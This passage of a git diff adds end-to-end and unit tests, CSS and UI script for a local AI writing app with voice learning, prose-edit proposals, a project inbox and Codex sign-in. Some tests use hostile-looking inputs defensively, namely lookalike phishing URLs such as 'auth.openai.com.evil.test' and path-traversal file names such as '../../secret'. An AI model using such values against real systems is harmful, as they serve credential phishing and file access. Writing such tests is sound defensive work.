+ page.wait_for_timeout(100) + raise AssertionError('Job did not complete: '+action) + + +def main(): + parser=argparse.ArgumentParser();parser.add_argument('--offline',action='store_true');parser.add_argument('--chromium');parser.add_argument('--out',default='test-results/studio');args=parser.parse_args() + out=ROOT/args.out;out.mkdir(parents=True,exist_ok=True) + report={'mode':'in-process HTTP bridge' if args.offline else 'real HTTP','live_models':False,'checks':[],'page_errors':[],'ok':False} + with tempfile.TemporaryDirectory() as tmp: + app=create_app(tmp);app.state.runner.clients_factory=StudioClients + app.state.store.set_settings(Settings(model='test/model',allow_cloud=True,remember_keys=False).model_dump()) + client=TestClient(app);client.get('/');client.headers['X-GraphPaper']='1' + server=None + if not args.offline: + import uvicorn + sock=socket.socket();sock.bind(('127.0.0.1',0));port=sock.getsockname()[1] + server=uvicorn.Server(uvicorn.Config(app,log_level='error')) + thread=threading.Thread(target=lambda:server.run(sockets=[sock]),daemon=True);thread.start() + while not server.started:time.sleep(.05) + def bridge(req): + kwargs={'headers':req.get('headers',{})} + if req.get('form') is not None: + files=[];data={} + for part in req['form']: + if 'bytes' in part:files.append((part['name'],(part['filename'],base64.b64decode(part['bytes']),part['type']))) + else:data[part['name']]=part['value'] + kwargs.update(files=files,data=data) + else:kwargs['content']=req.get('body') + r=client.request(req['method'],req['url'],**kwargs) + return {'status':r.status_code,'headers':dict(r.headers),'body':base64.b64encode(r.content).decode()} + with sync_playwright() as pw: + browser=pw.chromium.launch(headless=True,**({'executable_path':args.chromium} if args.chromium else {})) + page=browser.new_page(viewport={'width':1440,'height':1000});page.set_default_timeout(12000) + page.on('pageerror',lambda e:report['page_errors'].append(str(e))) + try: + if args.offline: + html=(ROOT/'ui/index.html').read_text() + for name in ['styles.css','studio.css']:html=html.replace(f'','') + for name in ['app.js','studio.js']:html=html.replace(f'','') + ico='data:image/svg+xml;base64,'+base64.b64encode((ROOT/'ui/icon.svg').read_bytes()).decode() + html=html.replace('/static/icon.svg',ico) + page.expose_function('__studioRequest',bridge);page.set_content(html) + page.evaluate('''() => {window.fetch=async(url,opt={})=>{let form=null,body=opt.body;if(body instanceof FormData){form=[];for(const [name,v] of body.entries()){if(v instanceof File){const bytes=new Uint8Array(await v.arrayBuffer());let binary='';for(const b of bytes)binary+=String.fromCharCode(b);form.push({name,filename:v.name,type:v.type,bytes:btoa(binary)});}else form.push({name,value:v});}body=undefined;}const r=await window.__studioRequest({url:String(url),method:opt.method||'GET',headers:opt.headers||{},body,form});return new Response(Uint8Array.from(atob(r.body),c=>c.charCodeAt(0)),{status:r.status,headers:r.headers});};}''') + for name in ['app.js','studio.js']:page.add_script_tag(content=(ROOT/'ui'/name).read_text().replace('/static/icon.svg',ico)) + else:page.goto(f'http://127.0.0.1:{port}/') + page.wait_for_selector('.welcome') + page.get_by_role('button',name='New project',exact=True).click();page.locator('#project-title').fill('A voice of your own');page.get_by_role('button',name='Create project',exact=True).click();page.wait_for_selector('.studio-strip') + pid=page.evaluate('state.p.id');base='/api/projects/'+pid + page.get_by_role('button',name='Your writing voice',exact=True).click() + with page.expect_file_chooser() as chosen:page.get_by_role('button',name='Upload samples',exact=True).click() + sample=('I would rather explain a thing than pretend it is mysterious. Some sentences are short. Others need room for qualifications, because precision matters more than a slogan. '*8).encode() + chosen.value.set_files({'name':'my-essay.md','mimeType':'text/markdown','buffer':sample}) + page.wait_for_selector('.studio-sample');assert client.get(base).json()['sources'][0]['role']=='voice' + report['checks'].append('Voice sample upload through the actual file input') + page.get_by_role('button',name='Learn my writing style',exact=True).click();wait(page,'voice') + page.get_by_role('button',name='Your writing voice',exact=True).click();assert 'direct verbs' in page.locator('#voice-instructions').input_value() + page.locator('#voice-instructions').fill('Use precise verbs. Vary rhythm. Leave deliberate wit alone.') + page.get_by_role('button',name='Save voice settings',exact=True).click() + assert client.get(base).json()['voice_profile']['instructions'].startswith('Use precise') + report['checks'].append('Learn, inspect and edit a persistent author voice profile') + page.get_by_role('button',name='Your writing voice',exact=True).click();page.screenshot(path=str(out/'voice.png'),full_page=True);page.get_by_role('button',name='Close dialog',exact=True).click() + page.get_by_role('button',name='Project folder',exact=True).click();info=client.get(base+'/workspace').json() + (Path(info['inbox'])/'Evidence'/'research.md').write_text('A source with a specific factual claim.',encoding='utf-8') + page.get_by_role('button',name='Import files now',exact=True).click() + page.wait_for_timeout(500);assert len(client.get(base).json()['sources'])==2 + page.screenshot(path=str(out/'folder.png'),full_page=True);page.get_by_role('button',name='Close dialog',exact=True).click() + report['checks'].append('Project folder import and automatic source ownership') + (Path(info['inbox'])/'Voice'/'second-voice.txt').write_text('Another representative piece of my writing. '*30) + page.locator('.nav-link[data-tab="sources"]').click() + deadline=time.monotonic()+13 + while time.monotonic()0 + page.get_by_role('button',name='Close dialog',exact=True).click();report['checks'].append('Local explainable prose inspection') + page.get_by_role('button',name='Humanize',exact=True).click();page.get_by_role('button',name='Create proposed edit',exact=True).click();wait(page,'humanize') + assert client.get(base).json()['draft'].startswith('It is important') + page.get_by_role('button',name='Compare proposed edit',exact=True).click();page.wait_for_selector('.studio-compare');page.screenshot(path=str(out/'humanizer.png'),full_page=True) + page.get_by_role('button',name='Accept this edit',exact=True).click();page.wait_for_selector('#manuscript');assert page.locator('#manuscript').input_value()=='the measured value was 12.5% [S2].' + report['checks'].append('Humanizer proposal, side-by-side comparison and explicit acceptance') + page.locator('#manuscript').fill('It is important to note that another point remains unchanged.');page.wait_for_timeout(800) + page.get_by_role('button',name='Deslop',exact=True).click();page.get_by_role('button',name='Create proposed edit',exact=True).click();wait(page,'deslop') + page.get_by_role('button',name='Compare proposed edit',exact=True).click();page.get_by_role('button',name='Discard proposal',exact=True).click() + assert client.get(base).json()['draft'].startswith('It is important') + report['checks'].append('Separate deslopping pass and non-destructive rejection') + page.locator('[data-action="settings"]').click();page.locator('#s-provider').select_option('codex') + assert page.locator('#s-model').input_value()=='' + page.screenshot(path=str(out/'codex.png'),full_page=True);page.get_by_role('button',name='Save connections',exact=True).click() + assert client.get('/api/settings').json()['provider']=='codex' + report['checks'].append('Codex subscription provider selectable without an API key') + page.set_viewport_size({'width':1000,'height':800});page.locator('.nav-link[data-tab="sources"]').click() + assert page.evaluate('document.documentElement.scrollWidth')<=1000 + report['checks'].append('New controls fit a smaller desktop window') + assert not report['page_errors'],report['page_errors'] + report['ok']=True + except Exception: + report['error']=traceback.format_exc();page.screenshot(path=str(out/'failure.png'),full_page=True);raise + finally: + (out/'report.json').write_text(json.dumps(report,indent=2));browser.close() + app.state.runner.pool.shutdown(wait=True,cancel_futures=True) + if server:server.should_exit=True;thread.join(timeout=5);sock.close() + client.close() + print(json.dumps(report,indent=2)) + +if __name__=='__main__':main() diff --git a/tests/test_codex_runtime.py b/tests/test_codex_runtime.py new file mode 100644 index 0000000..064d2d0 --- /dev/null +++ b/tests/test_codex_runtime.py @@ -0,0 +1,76 @@ +"""Exercise the actual subprocess/JSON-RPC bridge with a local Codex test double.""" +import json +import os +from pathlib import Path +import subprocess +import sys +from unittest.mock import Mock +import pytest +from graphpaper.codex import Codex +from graphpaper.pipeline import Job +from graphpaper.providers import ProviderError + +FAKE = r''' +import json, os, pathlib, sys +home=pathlib.Path(os.environ['CODEX_HOME']) +if 'app-server' in sys.argv: + for line in sys.stdin: + d=json.loads(line) + if 'id' not in d: continue + method=d.get('method') + if method=='account/read': + result={'account':{'type':'chatgpt','email':'author@example.test','planType':'pro'} if (home/'signed-in.test').exists() else None} + elif method=='account/login/start': + (home/'signed-in.test').write_text('test session') + result={'authUrl':'https://auth.openai.com/authorize?state=test','loginId':'test-login'} + elif method=='account/logout': + (home/'signed-in.test').unlink(missing_ok=True); result={} + elif method=='model/list': + result={'data':[{'id':'test-model','model':'test-model','displayName':'Test model'}]} + else: result={} + print(json.dumps({'id':d['id'],'result':result}),flush=True) +else: + prompt=sys.stdin.read() + (home/'exec-args.test').write_text(json.dumps(sys.argv)) + (home/'input.test').write_text(prompt) + output=pathlib.Path(sys.argv[sys.argv.index('-o')+1]) + output.write_text('A complete piece of test prose.',encoding='utf-8') + print(json.dumps({'type':'turn.completed','usage':{'input_tokens':42,'output_tokens':8}})) +''' + + +@pytest.fixture +def runtime(tmp_path,monkeypatch): + script=tmp_path/'fake_codex.py';script.write_text(FAKE,encoding='utf-8') + real=subprocess.Popen + def launch(args,*a,**kw): + if args[0]==str(script.resolve()):args=[sys.executable,str(script),*args[1:]] + return real(args,*a,**kw) + monkeypatch.setattr(subprocess,'Popen',launch) + monkeypatch.setenv('OPENAI_API_KEY','do-not-inherit-this-key') + monkeypatch.setattr('webbrowser.open',Mock(return_value=True)) + c=Codex(tmp_path,str(script)) + yield c + c.close() + + +def test_browser_login_exec_usage_and_logout(runtime): + assert not runtime.status()['signed_in'] + assert runtime.login()['started'] + assert runtime.status()['signed_in'] + assert runtime.models()[0]['id']=='test-model' + job=Job('p','draft') + assert runtime.complete('Write prose.','About the sea.','test-model',job)=='A complete piece of test prose.' + assert job.usage['calls']==1 and job.usage['input_tokens']==42 and job.usage['output_tokens']==8 + assert job.usage['reported_cost']==0 and job.usage['unpriced_calls']==1 + args=json.loads((runtime.home/'exec-args.test').read_text()) + assert '--ephemeral' in args and 'read-only' in args and 'features.shell_tool=false' in args + assert 'OPENAI_API_KEY' not in runtime.env + assert runtime.home.name=='codex-account' + runtime.logout() + assert not runtime.status()['signed_in'] + + +def test_codex_generation_refuses_unsigned_account(runtime): + with pytest.raises(ProviderError,match='Sign in'):runtime.complete('system','data','') + assert not (runtime.home/'exec-args.test').exists() diff --git a/tests/test_studio_update.py b/tests/test_studio_update.py new file mode 100644 index 0000000..6a6d8b6 --- /dev/null +++ b/tests/test_studio_update.py @@ -0,0 +1,218 @@ +from __future__ import annotations +import hashlib +import json +from pathlib import Path +import re +import sys +from unittest.mock import Mock +import pytest +from graphpaper.models import Project, Source, Settings, VoiceProfile, PolishCandidate +from graphpaper.voice import metrics, fingerprint, sample_pack, voice_context, learn_voice +from graphpaper.polish import lint, mask, unmask, polish_draft +from graphpaper.author_web import extract_links +from graphpaper.pipeline import Job +from graphpaper.providers import ProviderError +from graphpaper.folders import safe_name +from .conftest import ScriptedClients + + +def sample_project(): + p=Project() + p.sources=[Source(id='S1',title='My voice',role='voice',text='I write about things I can explain. Some sentences are short. Others take the time they need, because the point deserves a little more room. '*6)] + return p + + +def test_old_project_migrates_with_new_defaults(): + p=Project.model_validate({'title':'Existing project'}) + assert p.auto_import and p.voice_profile.strength==75 and p.polish is None + + +def test_metrics_and_balanced_voice_samples(): + p=sample_project();p.sources[0].text='START '+('middle words '*5000)+' END' + pack=sample_pack(p,300) + assert pack[0]['excerpts'][0].startswith('START') + assert pack[0]['excerpts'][-1].endswith(' END') + assert sum(map(len,pack[0]['excerpts']))<=300 + assert metrics('One. Two words. Three short words?')['mean_sentence_words']==2 + + +def test_voice_excludes_evidence_and_disabled_samples(): + p=sample_project() + p.sources += [Source(id='S2',title='Facts',text='Not my voice.'),Source(id='S3',title='Disabled',text='Also not selected.',role='voice',enabled=False)] + assert len(sample_pack(p))==1 + p.voice_profile.enabled=False + assert voice_context(p)=={'enabled':False} + + +def test_voice_profile_staleness_and_off_switch(): + p=sample_project();p.voice_profile.instructions='Learned voice';p.voice_profile.sample_hash=fingerprint(p) + assert voice_context(p)['instructions']=='Learned voice' + p.sources[0].text+=' Changed.' + assert voice_context(p)['profile_needs_refresh'] and not voice_context(p)['instructions'] + p.voice_profile.strength=0 + assert not voice_context(p)['enabled'] + + +def test_learn_voice_persists_real_profile(): + c=Mock();c.settings=Settings();c.complete.return_value={'name':'Direct and dry','instructions':'Vary sentence length. Use exact verbs. Keep humor dry and occasional.','observations':['Sample-limited observations.']} + p=sample_project();learn_voice(p,c,Job(p.id,'voice')) + assert p.voice_profile.name=='Direct and dry' and p.voice_profile.sample_ids==['S1'] + assert p.voice_profile.sample_hash==fingerprint(p) + assert 'factual beliefs or biography' in c.complete.call_args.args[1] + + +def test_learning_requires_enough_words(): + with pytest.raises(ValueError):learn_voice(Project(),Mock(),Job('p','voice')) + p=sample_project();p.sources[0].text='Tiny sample.' + with pytest.raises(ValueError,match='80'):learn_voice(p,Mock(),Job(p.id,'voice')) + + +@pytest.mark.parametrize('text',['A 12.5% change [S1].', '“Keep these exact words.”', 'Use `foo(x)` at https://example.org/test.', '```py\nx=2\n```', '> A quoted block.\n> Second line.', '[Readable label](https://example.org)']) +def test_protected_spans_roundtrip(text): + encoded,spans=mask(text) + assert unmask(encoded,spans)==text + if spans: + with pytest.raises(ValueError):unmask(encoded+next(iter(spans)),spans) + with pytest.raises(ValueError):unmask(encoded.replace(next(iter(spans)),''),spans) + + +def test_lint_does_not_treat_quotation_as_authors_filler(): + report=lint('It is important to note that this works.\n\n“Let that sink in.”\n\n```\nLet that sink in.\n```') + assert any(f['rule']=='filler' for f in report['findings']) + assert not any(f['rule']=='empty-closer' for f in report['findings']) + assert 'not AI-authorship detection' in report['note'] + + +class EditClient: + def complete(self,system,user,**kw): + raw=json.loads(user) + if kw.get('json_mode'): + return {'meaning_preserved':True,'summary':'Filler removed.','warnings':[],'improvements':['More direct opening.']} + return raw['draft'].replace('It is important to note that ','') + + +@pytest.mark.parametrize('mode',['humanize','deslop','both']) +def test_polish_is_reversible_proposal_with_protected_facts(mode): + p=sample_project();p.draft='It is important to note that the count was 12.5% in “the test” [S1].' + old=p.draft;polish_draft(p,EditClient(),Job(p.id,mode),mode) + assert p.draft==old + assert p.polish.draft=='the count was 12.5% in “the test” [S1].' + assert p.polish.original_hash==hashlib.sha256(old.encode()).hexdigest() + assert p.polish.before['count']>p.polish.after['count'] + + +def test_polish_rejects_invented_number(): + class Invent(EditClient): + def complete(self,system,user,**kw): + answer=super().complete(system,user,**kw) + return answer+' 9999' if isinstance(answer,str) else answer + p=sample_project();p.draft='It is important to note that this is the complete original statement.' + with pytest.raises(ProviderError,match='protected'):polish_draft(p,Invent(),Job(p.id,'humanize'),'humanize') + assert p.polish is None + + +def test_accept_reject_and_stale_edit(client,app): + p=Project(draft='Original text.') + p.polish=PolishCandidate(mode='deslop',original_hash=hashlib.sha256(p.draft.encode()).hexdigest(),draft='Proposed text.',review={'meaning_preserved':True}) + app.state.store.create(p);base='/api/projects/'+p.id + accepted=client.post(base+'/craft/accept',json={'version':0}) + assert accepted.status_code==200 and accepted.json()['draft']=='Proposed text.' + assert any(v['draft']=='Original text.' for v in app.state.store.revisions(p.id)) + p=app.state.store.get(p.id);p.polish=PolishCandidate(mode='deslop',original_hash='obsolete',draft='Stale.');app.state.store.save(p,p.version) + assert client.post(base+'/craft/accept',json={'version':p.version}).status_code==409 + assert app.state.store.get(p.id).draft=='Proposed text.' + assert client.post(base+'/craft/discard',json={'version':p.version}).json()['polish'] is None + + +def test_fidelity_warning_needs_explicit_author_approval(client,app): + p=Project(draft='Original text.');p.polish=PolishCandidate(mode='humanize',original_hash=hashlib.sha256(p.draft.encode()).hexdigest(),draft='Different.',review={'meaning_preserved':False}) + app.state.store.create(p);url='/api/projects/'+p.id+'/craft/accept' + assert client.post(url,json={'version':0}).status_code==400 + assert client.post(url,json={'version':0,'acknowledge_warnings':True}).status_code==200 + + +def test_project_folders_are_separate_and_automatically_role_mapped(client,app): + p=client.post('/api/projects',json={'title':'One'}).json();q=client.post('/api/projects',json={'title':'Two'}).json() + first=client.get('/api/projects/'+p['id']+'/workspace').json();second=client.get('/api/projects/'+q['id']+'/workspace').json() + assert first['path']!=second['path'] + inbox=Path(first['inbox']);(inbox/'Voice'/'my-essay.md').write_text('My own sample text.',encoding='utf-8') + (inbox/'Evidence'/'paper.txt').write_text('Factual material.',encoding='utf-8') + result=client.post('/api/projects/'+p['id']+'/workspace/scan',json={'force':True}).json() + assert result['changed'] and {s['role'] for s in result['project']['sources']}=={'voice','evidence'} + assert not app.state.store.get(q['id']).sources + assert app.state.store.get(p['id']).usage['calls']==0 + assert not client.post('/api/projects/'+p['id']+'/workspace/scan',json={'force':True}).json()['changed'] + + +def test_inbox_requires_stable_file_then_updates_without_duplication(client): + p=client.post('/api/projects',json={'title':'Inbox'}).json();base='/api/projects/'+p['id'] + info=client.get(base+'/workspace').json();file=Path(info['inbox'])/'new.txt';file.write_text('First content.',encoding='utf-8') + assert not client.post(base+'/workspace/scan',json={}).json()['changed'] + r=client.post(base+'/workspace/scan',json={}).json();assert r['changed'];sid=r['project']['sources'][0]['id'] + file.write_text('Changed content in the same document.',encoding='utf-8') + r=client.post(base+'/workspace/scan',json={'force':True}).json();assert len(r['project']['sources'])==1 + assert r['project']['sources'][0]['id']==sid + file.unlink();r=client.post(base+'/workspace/scan',json={'force':True}).json() + assert len(r['project']['sources'])==1 and r['events'][0]['status']=='retained' + + +def test_upload_retains_original_and_same_text_can_be_voice(client): + p=client.post('/api/projects',json={'title':'Uploads'}).json();base='/api/projects/'+p['id'] + assert client.post(base+'/sources/file',files={'file':('notes.md',b'Same text.','text/markdown')},data={'role':'evidence'}).status_code==200 + r=client.post(base+'/sources/file',files={'file':('notes.md',b'Same text.','text/markdown')},data={'role':'voice'}) + assert r.status_code==200 and len(r.json()['sources'])==2 + folder=Path(client.get(base+'/workspace').json()['path'])/'Originals' + assert len(list(folder.glob('*.md')))==2 + + +def test_inbox_symlink_does_not_import_outside_project(client,tmp_path): + p=client.post('/api/projects',json={'title':'Links'}).json();base='/api/projects/'+p['id'] + info=client.get(base+'/workspace').json();outside=tmp_path/'outside.txt';outside.write_text('Not project material.') + try:(Path(info['inbox'])/'link.txt').symlink_to(outside) + except (OSError,NotImplementedError):pytest.skip('Symlinks unavailable for this Windows account') + result=client.post(base+'/workspace/scan',json={'force':True}).json() + assert not result['project']['sources'] + + +@pytest.mark.parametrize('name',['CON','NUL.txt','../../secret','A:B*?<>|.txt']) +def test_safe_windows_original_names(name): + result=safe_name(name) + assert '/' not in result and ':' not in result and not result.startswith('..') + assert result.split('.')[0].upper() not in {'CON','NUL'} + + +def test_author_link_discovery_stays_on_site_and_excludes_login(): + html='My essaysMy first full essayElsewhere articlePlease sign inA second essayDuplicate article' + links=extract_links(html,'https://writer.example/blog') + assert {x['url'] for x in links}=={'https://writer.example/blog','https://writer.example/first','https://writer.example/second'} + + +def test_codex_setting_and_auth_url_allowlist(): + from graphpaper.codex import safe_login_url + assert Settings(provider='codex').provider=='codex' + assert safe_login_url('https://auth.openai.com/authorize?state=abc') + assert safe_login_url('https://chatgpt.com/oauth') + assert not safe_login_url('https://auth.openai.com.evil.test/') + assert not safe_login_url('http://auth.openai.com/') + assert not safe_login_url('https://evil@auth.openai.com/') + + +def test_codex_provider_uses_bridge_not_api_transport(tmp_path,monkeypatch): + from graphpaper.providers import Clients + from graphpaper.secrets import Vault + bridge=Mock();bridge.complete.return_value='{"ok":true}' + monkeypatch.setattr('graphpaper.codex.get_codex',lambda *a:bridge) + c=Clients(Settings(provider='codex',allow_cloud=True,model=''),Vault(tmp_path)) + c.post=Mock(side_effect=AssertionError('Must not call API')) + assert c.complete('instructions','data',json_mode=True)=={'ok':True} + c.post.assert_not_called() + assert 'JSON' in bridge.complete.call_args.args[0] + + +def test_codex_still_requires_explicit_cloud_consent(tmp_path,monkeypatch): + from graphpaper.providers import Clients + from graphpaper.secrets import Vault + bridge=Mock();monkeypatch.setattr('graphpaper.codex.get_codex',lambda *a:bridge) + c=Clients(Settings(provider='codex',allow_cloud=False),Vault(tmp_path)) + with pytest.raises(ProviderError):c.complete('system','private text') + bridge.complete.assert_not_called() diff --git a/ui/studio.css b/ui/studio.css new file mode 100644 index 0000000..e178321 --- /dev/null +++ b/ui/studio.css @@ -0,0 +1,2 @@ +.studio-strip{display:flex;align-items:center;justify-content:space-between;gap:16px;padding:18px 20px;border:1px solid var(--border);background:var(--panel);border-radius:12px;margin-bottom:22px}.studio-strip strong{font-size:14px;font-weight:550}.studio-strip p,.studio-auth p{font-size:12px;color:var(--muted);margin-top:4px}.studio-tools{padding:0 0 21px;margin-bottom:20px;border-bottom:1px solid var(--border)}.studio-tools>.text-link{display:block}.studio-auth{padding:21px;border-radius:12px;background:var(--bg);border:1px solid var(--border);margin-bottom:25px}.studio-auth h3{font-family:var(--serif);font-weight:400;font-size:22px}.studio-samples{border:1px solid var(--border);border-radius:10px;padding:5px 15px;max-height:240px;overflow:auto}.studio-sample{display:flex;align-items:center;gap:11px;padding:12px 0;border-bottom:1px solid var(--border)}.studio-sample:last-child{border:0}.studio-sample strong{font-size:12px;font-weight:500}.studio-sample small,.studio-url{display:block;font-size:10px;color:var(--muted);overflow-wrap:anywhere}.studio-metrics{display:flex;flex-wrap:wrap;gap:20px;padding:17px;border:1px solid var(--border);border-radius:10px;background:var(--bg);font-size:11px;color:var(--muted)}.studio-metrics strong{font-size:19px;font-weight:450;color:var(--accent);display:block}.studio-path{width:100%;font-size:12px;font-family:Consolas,monospace}.studio-folder-grid{display:grid;grid-template-columns:1fr 1fr;gap:14px}.studio-folder-grid>div{padding:15px;border:1px solid var(--border);border-radius:9px}.studio-folder-grid strong{font-size:12px;font-weight:550;color:var(--accent)}.studio-folder-grid p{font-size:11px;color:var(--muted);margin-top:5px}.studio-edit-summary{padding-bottom:18px;font-size:13px}.studio-edit-summary p{font-size:11px;color:var(--muted);margin-top:8px}.studio-compare{display:grid;grid-template-columns:1fr 1fr;gap:18px}.studio-compare>section{min-width:0;border:1px solid var(--border);border-radius:10px;background:var(--bg)}.studio-compare h3{padding:14px 19px;border-bottom:1px solid var(--border);font-size:13px;letter-spacing:.03em}.studio-compare .prose{max-height:470px;overflow:auto;padding:20px;font-size:14px}.studio-compare .prose h1{font-size:23px}.studio-diff{max-height:380px;overflow:auto;white-space:pre-wrap;overflow-wrap:anywhere;font:11px/1.7 Consolas,monospace;background:var(--bg);padding:15px;border-radius:8px}.studio-diff .addition{color:var(--accent);background:#8eb77918}.studio-diff .deletion{color:var(--red);background:#d6796918}@media(max-width:720px){.studio-strip{flex-direction:column;align-items:flex-start}.studio-compare,.studio-folder-grid{grid-template-columns:1fr}.studio-auth{padding:16px}.studio-strip .row{gap:7px}} +.checkbox-row input[type=checkbox]{width:16px;min-width:16px;flex:0 0 16px}.studio-auth #codex-status a{overflow-wrap:anywhere} diff --git a/ui/studio.js b/ui/studio.js new file mode 100644 index 0000000..373866d --- /dev/null +++ b/ui/studio.js @@ -0,0 +1,47 @@ +/* GraphPaper 0.2: author voice, project inbox, reversible prose tools and Codex sign-in. */ +'use strict'; +const studio = {syncing:false,discovery:[],audit:null}; +const priorSourcesHTML = sourcesHTML; +sourcesHTML = function(){return `
Your material. Your voice.

Keep files together and let your own writing guide the result.

${btn('Your writing voice','studio-voice','pen','small')}${btn('Project folder','studio-folder','folder','small')}
`+priorSourcesHTML();}; +const priorWriteHTML = writeHTML; +writeHTML = function(){let html=priorWriteHTML();const tools=`
Prose craft
${btn('Humanize','studio-polish','','small',busy()?'disabled':'')}${btn('Deslop','studio-deslop','','small',busy()?'disabled':'')}${btn('Inspect prose','studio-audit','search','small ghost')}
${state.p.polish?btn('Compare proposed edit','studio-compare','branch','primary mt12'):''}
`;return html.replace('
',tools+'
');}; +const priorSettingsForm = settingsForm; +settingsForm = function(){let html=priorSettingsForm();html=html.replace('`);return `

Use your ChatGPT account

Codex subscription access, with browser sign-in.

No writing API key
${btn('Sign in with ChatGPT','studio-codex-login','lock','primary small')}${btn('Check sign-in','studio-codex-status','refresh','small')}${btn('Sign out','studio-codex-logout','','small ghost')}

The Windows release includes the official Codex runtime. Sign-in and credential storage are handled by Codex in a separate GraphPaper account directory. JEV remains an optional, separate connection.

Existing Codex runtime
`+html;}; +const priorSaveSettings = saveSettings; +saveSettings = async function(){if($('#s-codex_executable'))state.settings.codex_executable=$('#s-codex_executable').value.trim();return priorSaveSettings();}; +function voiceDialog(){const p=state.p,v=p.voice_profile,examples=p.sources.filter(s=>s.role==='voice'&&s.enabled);showModal('Your writing voice','Learn from your own articles, then keep the profile under your control.',`
${btn('Upload samples','studio-upload-voice','upload','small')}${btn('Paste a sample','studio-paste-voice','file','small')}${btn('Find my writing online','studio-author-web','link','small')}
${examples.length?examples.map(s=>`
${icon('file')}
${esc(s.title)}${esc(s.id)} · ${fmt(words(s.text))} words${s.url?' · web source':''}
${ibtn('Read sample','source','eye',`data-id="${esc(s.id)}"`)}
`).join(''):'

Add pieces you wrote. A few representative articles or chapters work better than isolated slogans.

'}
${btn(v.learned_at?'Relearn from samples':'Learn my writing style','studio-learn-voice','spark','primary',busy()?'disabled':'')}One analysis request. The profile is used for new drafts and revisions.
${v.metrics?.words?`
${fmt(v.metrics.words)} sample words${v.metrics.mean_sentence_words} words / sentence${v.metrics.sentence_variation} sentence variation
`:''}${v.observations?.length?`
What the profile noticed${v.observations.map(x=>`

${esc(x)}

`).join('')}
`:''}
Samples guide rhythm, diction and rhetorical choices. They are never cited as facts or copied into the new piece. This is reusable prompting, not model fine-tuning. Changing samples makes the learned profile stale until you relearn it.
`,btn('Save voice settings','studio-save-voice','check','primary'),true);} +function authorWebDialog(){showModal('Find your writing online','Enter an article, blog archive or author page. Choose what belongs in your voice library.',`
${btn('Find articles','studio-discover','search','small')}

Only linked pages on the same site are listed. This does not verify authorship; select your own work, not other contributors, navigation pages or quotations.

`,btn('Import selected samples','studio-import-authors','plus','primary','disabled'),true);} +async function folderDialog(){await flush();const info=await api('/projects/'+state.p.id+'/workspace');showModal('This project’s folder','Drop documents into its Inbox. They become part of this project automatically.',`
${btn('Open folder','studio-open-folder','folder','primary small')}${btn('Import files now','studio-scan-folder','refresh','small')}
Inbox / Evidence

Citable research and source articles.

Inbox / Voice

Your writing samples.

Inbox / Canon

Established characters, events and world rules.

Inbox / Inspiration

Possibilities, not factual evidence.

Local import makes no AI calls. Original app uploads are kept in Originals. Removed inbox files do not erase sources; deleting the project does not delete this folder. SQLite remains the project’s saved state.
`,btn('Save preference','studio-save-folder','check','primary'),true);} +function polishDialog(mode){showModal(mode==='deslop'?'Remove the slop':'Make it sound like you','A proposed edit is saved separately. Your current draft stays untouched.',`
Quotations, numbers, citations, links and code are protected. A second model check looks for meaning drift. You compare the result before accepting it. No invented experiences, random mistakes or AI-detector-evasion tricks.
`,btn('Create proposed edit','studio-run-craft','pen','primary'));} +async function auditDialog(){await flush();const audit=await api('/projects/'+state.p.id+'/craft/audit',{});studio.audit=audit;showModal('Prose inspection','Local checks only. No model request and no changes to your draft.',`
${audit.count} editorial cues${audit.metrics.mean_sentence_words} words / sentence${audit.metrics.sentence_variation} sentence variation
${audit.findings.map(f=>`
${esc(f.rule)}
${esc(f.excerpt)}

${esc(f.suggestion)}

`).join('')||'

No listed phrase patterns were found. This is not a certificate of good prose.

'}${audit.repeated_openings.length?`

Repeated paragraph openings: ${audit.repeated_openings.map(esc).join('; ')}

`:''}
${esc(audit.note)}
`,btn('Humanize','studio-polish','pen','small')+btn('Deslop','studio-deslop','pen','primary small'),true);} +function compareDialog(){const c=state.p.polish;if(!c){toast('No proposed prose edit yet.');return;}showModal('Original and proposed edit','Read the changes. The original remains your current draft until you accept.',`
${esc(c.review.summary||'Proposed '+c.mode+' edit')}

${c.before.count} → ${c.after.count} listed cues · ${c.protected_spans} protected spans kept intact

${(c.review.warnings||[]).map(x=>`
${esc(x)}
`).join('')}

Original

${markdown(state.p.draft)}

Proposed

${markdown(c.draft)}
Line-by-line changes
${c.diff.map(l=>`${esc(l)}`).join('\n')}
${!c.review.meaning_preserved?'':''}`,btn('Discard proposal','studio-discard-craft','x','ghost')+btn('Accept this edit','studio-accept-craft','check','primary'),true);} +async function scanFolder(force=false){if(studio.syncing||busy()||!state.p)return;await flush();studio.syncing=true;const id=state.p.id,version=state.p.version;try{const result=await api('/projects/'+id+'/workspace/scan',{force});if(state.p?.id!==id)return result;if(result.changed&&state.p.version===version){const edits={...pending};state.p=result.project;Object.assign(state.p,edits);syncSummary();if(!Object.keys(edits).length&&!$('.modal'))render();}if(force&&$('#folder-events'))$('#folder-events').innerHTML=result.events.map(e=>`

${esc(e.path)} · ${esc(e.status)}${e.message?' — '+esc(e.message):''}

`).join('')||'

Inbox is up to date. No new files to import.

';else if(result.changed)toast(`${result.events.filter(e=>['imported','updated'].includes(e.status)).length} inbox file(s) added or updated.`);return result;}finally{studio.syncing=false;}} +const priorHandleAction=handleAction; +handleAction=async function(el){const action=el.dataset.action;if(!action.startsWith('studio-'))return priorHandleAction(el);switch(action){ + case 'studio-voice':await flush();voiceDialog();break; + case 'studio-upload-voice':if(!editable())return;chooseFile('.pdf,.docx,.txt,.md,.html,.htm',true,async files=>{await flush();for(const file of files){if(file.size>20*1024*1024)throw new Error('Each sample must be under 20 MB.');const form=new FormData();form.append('file',file);form.append('role','voice');state.p=await api('/projects/'+state.p.id+'/sources/file',form);}syncSummary();render();voiceDialog();toast('Writing samples added.');});break; + case 'studio-paste-voice':if(editable()){pasteDialog();$('#source-role').value='voice';}break; + case 'studio-author-web':authorWebDialog();break; + case 'studio-discover':el.disabled=true;try{$('#modal-status').textContent='Finding linked articles…';const r=await api('/voice/discover',{url:$('#author-url').value});studio.discovery=r.pages;$('#author-results').innerHTML=r.pages.map((p,i)=>``).join('');$('#modal-status').textContent=r.note;$('[data-action="studio-import-authors"]').disabled=false;}finally{el.disabled=false;}break; + case 'studio-import-authors':{const pages=$$('.author-page:checked').map(x=>studio.discovery[Number(x.value)]);if(!pages.length||pages.length>12)throw new Error('Select between 1 and 12 writing samples.');el.disabled=true;await flush();const errors=[];try{for(let i=0;iOpen sign-in page';break;} + case 'studio-codex-status':{await saveSettings();$('#codex-status').textContent='Checking Codex…';const r=await api('/codex/status');$('#codex-status').textContent=r.signed_in?`Connected as ${r.email||'your ChatGPT account'}${r.plan?' · '+r.plan:''}. Select Codex as the writing provider. A blank model uses the 